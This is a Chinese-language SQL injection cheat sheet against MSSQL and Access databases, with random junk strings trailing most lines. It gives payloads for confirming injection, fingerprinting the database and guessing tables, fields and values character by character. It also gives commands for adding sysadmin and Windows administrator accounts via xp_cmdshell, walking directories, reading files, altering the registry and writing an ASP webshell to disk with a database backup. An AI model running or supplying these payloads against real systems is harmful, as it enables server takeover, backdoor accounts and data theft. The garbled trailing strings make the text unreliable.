1.判断是否有注入;and 1=1 ;and 1=2 R{9G$b1Due
2.初步判断是否是mssql ;and user>0 6ziBGU#.-
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3.注入参数是字符'and [查询条件] and ''=' FJsM3|{2=d
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' {@ tO9pc`8
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5.判断数据库系统 qt.=
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;and (select count(*) from sysobjects)>0 mssql a0`(*#P
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;and (select count(*) from msysobjects)>0 access c$;Cpt@-j
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 aOmQ<N]a
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 XU`vs`/
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ?Elt;wL(
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9.(1)猜字段的ascii值(access) \?$kpV
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 6 _#C vQ
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(2)猜字段的ascii值(mssql) uA\KbA.c;U
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 KP
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10.测试权限结构(mssql) sGGi7%
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- yDi'@Z9R?
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- rpL]5e!
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- KN.WTaO
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- yY80E[v
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- t<SCrLbz
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Y>CZ
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;and 1=(select IS_MEMBER('db_owner'));-- 2))pB/
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11.添加mssql和系统的帐户 `Oe}OSxnT
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;exec master.dbo.sp_addlogin username;-- t'HrI-x
;exec master.dbo.sp_password null,username,password;-- ,'@t.XP
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- jB\Knxm v
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;exec master.dbo.xp_cmdshell 'net user username password a=*JyZ.2
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ['aiNhlbt
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- PLK;y
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- D|/
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12.(1)遍历目录 vk3C&!M<a
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;create table dirs(paths varchar(100), id int) .QDeS|l
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;insert dirs exec master.dbo.xp_dirtree 'c:\'
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;and (select top 1 paths from dirs)>0 v.>95|8
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) B\quXE)
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(2)遍历目录 =m?x5G^
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ?Nl@K/
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 4l_~-Peh
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 \!4_m8?
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 pUeok+k_
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 rC6{-42bb
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13.mssql中的存储过程 U;FJSy
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xp_regenumvalues 注册表根键, 子键 Url8&.pw
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 d{(NeT s
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xp_regread 根键,子键,键值名 BSyS
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;exec xp_regread luCwP
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 azl!#%
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xp_regwrite 根键,子键, 值名, 值类型, 值 C]ef
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 VB}^&{t)!
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 v}Kj+9h
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xp_regdeletevalue 根键,子键,值名 Ypx"<CKP}
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 d,0Klew
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 J(Zz^$8]<?
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14.mssql的backup创建webshell iB5'mb*
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use model C\}M_MD
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create table cmd(str image); \ 9#X]H
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insert into cmd(str) values (''); [s~6,wz
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backup database model to disk='c:\l.asp'; TECp!`)j"
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15.mssql内置函数 3%
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;and (select @@version)>0 获得Windows的版本号 {Hzj(c~S?
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa %(:{TR
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;and (select user_name())>0 爆当前系统的连接用户 x,TnYqT^
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;and (select db_name())>0 得到当前连接的数据库 &M6Zsmo
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16.简洁的webshell )&93YrHgC
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use model b8|<O:]Hp
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create table cmd(str image); KxQMPtHstz
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insert into cmd(str) values (''); ^n*:zmD
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backup database model to disk='g:\wwwtest\l.asp';